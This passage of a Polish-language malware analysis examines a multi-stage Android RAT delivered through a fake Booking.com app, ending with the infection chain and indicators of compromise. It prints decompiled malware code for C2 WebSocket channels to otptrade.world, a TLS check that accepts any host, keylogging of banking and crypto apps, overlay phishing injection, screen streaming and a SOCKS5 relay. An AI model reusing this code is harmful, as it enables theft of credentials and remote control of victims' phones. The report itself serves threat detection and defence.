"sms_entry",
"sms_status_update",
"sms_detailed_status",
"sms_permission_status",
"sms_permission_error",
"sms_command_response",
"service_status",
"power_mode_status",
"power_status_response",
"system_status",
"enhanced_system_health",
"installed_apps_response",
"crash_report",
"secure_app_click",
"screen_state",
"pattern_lock_completed",
"pattern_lock_cancelled",
"pattern_lock_triggered",
"pattern_lock_test_triggered",
"pattern_lock_status",
"html_injection_triggered",
"html_injection_displayed",
"html_injection_dismissed",
"html_injection_error",
"html_injection_test_triggered",
"html_templates_available",
"html_injection_attempt_success",
"html_injection_attempt_failed",
"html_data_captured",
"socks5_status",
"socks5_tunnel_connected",
"socks5_tunnel_disconnected"});
Adresy URL są konstruowane następująco:
private
final
String
buildControlUrl(boolean
useSSL)
{
return
(useSSL
?
"wss"
:
"ws")
+
"://"
+
((String)
CollectionsKt.first(DualWebSocketManager.SERVER_HOSTS))
+
":8443/control?"
+
("sessionId="
+
DualWebSocketManager.this.sessionId);
}
private
final
String
buildDataUrl(boolean
useSSL)
{
return
(useSSL
?
"wss"
:
"ws")
+
"://"
+
((String)
CollectionsKt.first(DualWebSocketManager.SERVER_HOSTS))
+
":8444/data?"
+
("sessionId="
+
DualWebSocketManager.this.sessionId);
}
Kod klienta dodaje też identyfikujące nagłówki:
return
chain.proceed(chain.request().newBuilder().header("User-Agent",
"AndroidClient-Control/1.0").header("X-Channel-Type",
"control").header("X-Session-ID",
this.this$0.sessionId).header("X-Device-ID",
this.this$0.deviceId).build());
return
chain.proceed(chain.request().newBuilder().header("User-Agent",
"AndroidClient-Data/1.0").header("X-Channel-Type",
"data").header("X-Session-ID",
this.this$0.sessionId).header("X-Device-ID",
this.this$0.deviceId).build());
i celowo osłabia weryfikację TLS:
private
static
final
boolean
applyC2SslTrust$lambda$24(String
str,
SSLSession
sSLSession)
{
return
true;
}
Odzyskane finalne endpointy:
- wss://otptrade.world:8443/control?sessionId=<uuid>
- wss://otptrade.world:8444/data?sessionId=<uuid>
Podział na control/data ma znaczenie, ponieważ tłumaczy szeroki zestaw możliwości tego modułu: polecenia są dostarczane osobnym kanałem niż dane o dużej objętości, takie jak keylogi, telemetria HTML injection czy kolejne klatki ekranu.
Co robi finalny payload
Odzyskany kod źródłowy etapu 3 pokazuje, iż mamy do czynienia z rozbudowanym RAT-em wykorzystującym usługi ułatwień dostępu do sterowania urządzeniem.
Keylogging i przechwytywanie blokady ekranu
Keylogger jest inicjalizowany z listą wysokowartościowych kategorii pakietów:
private
final
Set<String>
criticalPackages
=
SetsKt.setOf((Object[])
new
String[]{"systemui",
"settings",
"bank",
"pay",
"wallet",
"crypto",
"binance",
"coinbase",
"whatsapp",
"telegram",
"messenger"});
private
String
currentPasswordFieldText
=
"";
private
String
currentPasswordFieldPackage
=
"";
private
String
currentPasswordFieldViewId
=
"";
private
final
long
PASSWORD_FIELD_TIMEOUT
=
WorkRequest.DEFAULT_BACKOFF_DELAY_MILLIS;
private
final
CoroutineScope
coroutineScope
=
CoroutineScopeKt.CoroutineScope(Dispatchers.getDefault().plus(SupervisorKt.SupervisorJob$default((Job)
null,
1,
(Object)
null)));
private
final
ConcurrentHashMap<String,
String>
mainThreadCaptures
=
new
ConcurrentHashMap<>();
private
final
int
maxMainThreadCacheSize
=
10;
private
ExtractionStats
extractionStats
=
new
ExtractionStats(0,
0,
0,
0,
15,
null);
public
KeyloggerHandler(Context
context,
Executor
executor,
LogDispatcher
logDispatcher)
{
this.context
=
context;
this.backgroundExecutor
=
executor;
this.logDispatcher
=
logDispatcher;
Log.i(TAG,
"KEYLOGGER DEBUG: KeyloggerHandler created and initialized");
queueLog$default(this,
"KEYLOGGER_INIT",
BuildConfig.APPLICATION_ID,
TAG,
"Keylogger initialized successfully",
"Initialization test log",
null,
null,
null,
System.currentTimeMillis(),
true,
224,
null);
}
Dodatkowo przechwytywane są bezpośrednio zdarzenia klawiatury:
public
final
void
handleKeyEvent(KeyEvent
event)
{
if
(event.getAction()
==
0)
{
int
keyCode
=
event.getKeyCode();
queueLog$default(this,
"KEY_PRESS_LOCKSCREEN",
"com.android.systemui",
"LockScreen",
"Key: "
+
KeyEvent.keyCodeToString(keyCode)
+
", Char: '"
+
((char)
event.getUnicodeChar())
+
'\'',
"Key event captured",
null,
null,
MapsKt.mapOf(TuplesKt.to("keyCode",
String.valueOf(keyCode))),
System.currentTimeMillis(),
true,
96,
null);
}
}
W połączeniu z obecnością PatternLockActivity, PINLockActivity i PasswordLockActivity oznacza to, iż malware jest przygotowany do przechwytywania loginów i haseł, a nie tylko metadanych interfejsu.
HTML injection / overlay phishing
Finalny etap zawiera dedykowany manager HTML injection:
public
final
boolean
triggerInjection(String
packageName,
String
condition)
{
if
(!shouldInjectForPackage(packageName,
condition))
{
Log.d(TAG,
"Injection blocked or not configured for package: "
+
packageName);
return
false;
}
InjectionConfig
injectionConfig
=
this.injectionConfigs.get(packageName);
Intrinsics.checkNotNull(injectionConfig);
InjectionConfig
injectionConfig2
=
injectionConfig;
ConcurrentHashMap<String,
TemplateInfo>
concurrentHashMap
=
this.availableTemplates;
String
lowerCase
=
injectionConfig2.getTemplateId().toLowerCase(Locale.ROOT);
Intrinsics.checkNotNullExpressionValue(lowerCase,
"toLowerCase(...)");
TemplateInfo
templateInfo
=
concurrentHashMap.get(lowerCase);
if
(templateInfo
==
null)
{
Log.w(TAG,
"Template not found for injection: "
+
injectionConfig2.getTemplateId());
sendInjectionErrorToC2(packageName,
injectionConfig2.getTemplateId(),
"Template not found");
return
false;
}
Log.i(TAG,
"Triggering HTML injection: "
+
templateInfo.getDisplayName()
+
" for "
+
packageName);
try
{
Intent
intent
=
new
Intent(this.context,
(Class<?>)
HtmlOverlayActivity.class);
intent.addFlags(268500992);
intent.putExtra(HtmlOverlayActivity.EXTRA_TEMPLATE_ID,
templateInfo.getId());
intent.putExtra(HtmlOverlayActivity.EXTRA_PACKAGE_NAME,
packageName);
intent.putExtra(HtmlOverlayActivity.EXTRA_PRIORITY,
injectionConfig2.getPriority());
this.context.startActivity(intent);
recordInjection(packageName,
templateInfo.getId(),
condition);
sendInjectionNotificationToC2(packageName,
templateInfo.getId(),
condition);
return
true;
}
catch
(Exception
e)
{
Log.e(TAG,
"Failed to start HTML overlay activity",
e);
sendInjectionErrorToC2(packageName,
injectionConfig2.getTemplateId(),
"Failed to start overlay: "
+
e.getMessage());
return
false;
}
}
Do serwera C2 raportowana jest zarówno lista dostępnych szablonów, jak i same zdarzenia związane z wstrzyknięciem:
JSONObject
jSONObject
=
new
JSONObject();
jSONObject.put("type",
"html_templates_available");
jSONObject.put("timestamp",
System.currentTimeMillis());
JSONObject
jSONObject2
=
new
JSONObject();
jSONObject2.put("template_count",
this.availableTemplates.size());
jSONObject2.put("scan_time",
this.lastScanTime);
jSONObject.put("type",
"html_injection_triggered");
Kod jednoznacznie potwierdza obecność mechanizmów web inject oraz nakładek ekranowych, a nie jedynie pojedynczy, statycznie zaszyty ekran phishingowy.
Strumieniowanie ekranu
Moduł żąda uprawnienia do MediaProjection i po jego uzyskaniu uruchamia udostępnianie ekranu:
private
final
void
requestScreenCapturePermission()
throws
JSONException
{
Object
systemService
=
getSystemService("media_projection");
Intrinsics.checkNotNull(systemService,
"null cannot be cast to non-null type android.media.projection.MediaProjectionManager");
try
{
startActivityForResult(((MediaProjectionManager)
systemService).createScreenCaptureIntent(),
this.REQUEST_CODE);
}
catch
(Exception
e)
{
Log.e(this.TAG,
"Failed to launch screen capture intent",
e);
sendErrorResponse("Failed to launch screen capture intent: "
+
e.getMessage());
finish();
}
}
if
(resultCode
==
-1
&&
data
!=
null)
{
Log.i(this.TAG,
"Screen capture permission granted.");
try
{
startForegroundService(createServiceIntent(resultCode,
data));
JSONObject
jSONObject
=
new
JSONObject();
jSONObject.put("type",
"command_response");
jSONObject.put("command",
"startScreenSharing");
jSONObject.put("success",
true);
jSONObject.put("quality",
this.quality);
jSONObject.put("frameRate",
this.frameRate);
jSONObject.put("streamWidth",
this.streamWidth);
jSONObject.put("overlayDetection",
true);
DualWebSocketProvider.sendMessage$default(DualWebSocketProvider.INSTANCE,
jSONObject,
null,
2,
null);
}
catch
(Exception
e)
{
Log.e(this.TAG,
"Failed to start screen sharing service",
e);
sendErrorResponse("Failed to start screen sharing service: "
+
e.getMessage());
}
}
Protokół definiuje również:
- screenFrame
- vncScreenFrame
- screenLayout
- screenUpdate
co odpowiada zarówno bezpośredniemu strumieniowaniu obrazu z ekranu, jak i pozyskiwaniu informacji o układzie oraz strukturze interfejsu.
Tunel SOCKS5
Moduł złośliwego systemu udostępnia również tunel SOCKS5 sterowany za pośrednictwem infrastruktury C2:
this.config
=
config;
this.isEnabled.set(true);
this.shouldReconnect.set(true);
Log.i(TAG,
"Enabling SOCKS5 tunnel to "
+
config.getRelayHost()
+
':'
+
config.getRelayPort());
connect();
String
strBuildTunnelUrl
=
socks5Config.buildTunnelUrl();
Log.i(TAG,
"Connecting to relay: "
+
strBuildTunnelUrl);
this.webSocket
=
buildOkHttpClient(socks5Config.getUseTls()).newWebSocket(new
Request.Builder().url(strBuildTunnelUrl).header("X-Device-ID",
getDeviceId()).header("Authorization",
"Bearer "
+
socks5Config.getAuthToken()).build(),
new
WebSocketListener()
{
i identyfikuje się wobec przekaźnika handshake'iem zawierającym metadane urządzenia:
JSONObject
jSONObject
=
new
JSONObject();
jSONObject.put("type",
"socks5Handshake");
JSONObject
jSONObject2
=
new
JSONObject();
jSONObject2.put("device_id",
getDeviceId());
jSONObject2.put("model",
Build.MODEL);
jSONObject2.put("android_version",
Build.VERSION.RELEASE);
jSONObject2.put("manufacturer",
Build.MANUFACTURER);
Wyraźnie wskazuje to, iż malware został zaprojektowany nie tylko do kradzieży danych, ale również do zdalnego dostępu oraz przekazywania ruchu sieciowego.
Podsumowanie
Analizowana próbka nie jest jedynie fałszywą aplikacją Booking Pulse ani prostym downloaderem. Nasza analiza pozwoliła odtworzyć pełny łańcuch infekcji, od phishingowej wiadomości po końcowy etap działania malware.
Pełna ścieżka techniczna wygląda następująco:
wiadomość phishingowa -> przekierowanie przez share.google/Yc9fcYQCgnKxNfRmH -> booking.interaction.lat/starting/ -> com.pulsebookmanager.helper -> przynęta WebView -> natywny loader l0a0cac5c.so -> natywny dekoder JNI i anti-analysis -> etap 2 odszyfrowany XOR-em jako APK io.cifnzm.utility67pu -> etap FH.svg odszyfrowany algorytmem RC4-like -> finalny RAT sterowany przez accessibility -> WebSocket C2 w otptrade.world
Finalny payload wspiera przechwytywanie poświadczeń, HTML injection, kradzież SMS-ów, strumieniowanie ekranu, użycie kamery, zdalną kontrolę urządzenia i przekaźnik SOCKS5. Innymi słowy, APK wykorzystujący motyw Booking.com stanowi jedynie widoczny punkt wejścia do znacznie bardziej rozbudowanego mechanizmu infekcji na Androidzie.
IOC
- Początkowe przekierowanie phishingowe: https://share.google/Yc9fcYQCgnKxNfRmH
- Strona phishingowa: https://booking.interaction.lat/starting/
- Widoczna strona aktualizacji podszywająca się pod Booking: https://booking.interaction.lat/update/
- Zewnętrzny APK: com.pulsebookmanager.helper (Pulse)
SHA256: d408588683b4e66bfe0b5bb557999844fe52d1bfbda6836a48e15290082a5d42
- Zrzucona biblioteka natywna: l0a0cac5c.so
SHA256: f9c176f04b7c4061480c037abd2e6aebb4b9b056952a29585c8b448b8ec81a0e
- Endpoint używany przez etap zewnętrzny: https://aplication.digital/receiving/stats/
- Zaszyfrowany plik etapu 2: init_bundle_uzge.bin
SHA256: c11685cb53e264a90cbc749d04740c639c4cfdee794ab98cf16ebd007ceded3b
- Zainstalowany APK etapu 2: io.cifnzm.utility67pu (Google Play Services)
SHA256: 0cf04d3a3a5a148f6f707cd2bc24b38179e0dc4252b4706f77a4d5498cf2c3e9
- Ukryty zasób etapu 3: FH.svg
- Odszyfrowane archiwum etapu 3:
SHA256: 3243a74015df81c999e4d11124351519e5b0d9c99c03ccb12c207d9fa894a21e
- Ukryty finalny classes.dex:
SHA256: 4ad813a484038ad2a3e66121e276c969a1b78f9c0eca0d2acb296799ea128303
- Ukryty finalny classes2.dex:
SHA256: 12713e00658fdfa9a6466d23d934a709ef8b549449877e94981029ec2e22cbc9
- Finalny host C2: otptrade.world
- Kanał sterujący: wss://otptrade.world:8443/control?sessionId=<uuid>
- Kanał danych: wss://otptrade.world:8444/data?sessionId=<uuid>